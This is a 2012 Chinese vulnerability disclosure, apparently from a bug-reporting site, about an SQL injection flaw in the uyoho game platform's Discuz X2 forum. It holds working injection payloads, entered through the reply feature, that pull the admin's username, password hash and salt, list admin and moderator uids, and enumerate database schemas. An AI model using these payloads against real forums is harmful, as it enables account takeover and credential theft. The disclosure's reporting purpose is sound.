胜思网络uyoho游戏平台官方论坛曝SQL注射漏洞

漏洞标题: 胜思网络uyoho游戏平台官方论坛SQL注入漏洞
相关厂商: 胜思网络
漏洞作者: her0ma
提交时间: 2012-11-23
公开时间: 2012-11-28
漏洞类型: SQL注射漏洞
危害等级: 中
自评Rank: 10
漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞详情

披露状态:

2012-11-23: 细节已通知厂商并且等待厂商处理中
2012-11-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:
胜思网络uyoho游戏平台论坛()使用discuz x2整站系统,存在注入漏洞,未修复.

详细说明:
在发表回复的地方输入注入语句:
a',`subject`=(/*!select*/ concat(username,'|',password,'|',salt) from pre_ucenter_members where uid=1 limit 0,1),comment='

然后补充回复,补充回复地址需要自己构造:

forum.php?mod=misc&tid=写ID&action=postappend&pid=写ID

查看管理用户帐号密码
',`subject`=(/*!select*/ group_concat(uid,':') from pre_common_member where groupid=1),comment='

超级版主
',`subject`=(/*!select*/ group_concat(uid,':') from pre_common_member where groupid=2),comment='

获取所有库
',`subject`=(/*!select*/ group_concat(schema_name) from information_schema.schemata),comment='

等等……

漏洞证明:

胜思网络uyoho游戏平台官方论坛曝SQL注射漏洞

修复方案:
升级论坛到discuz x 2.5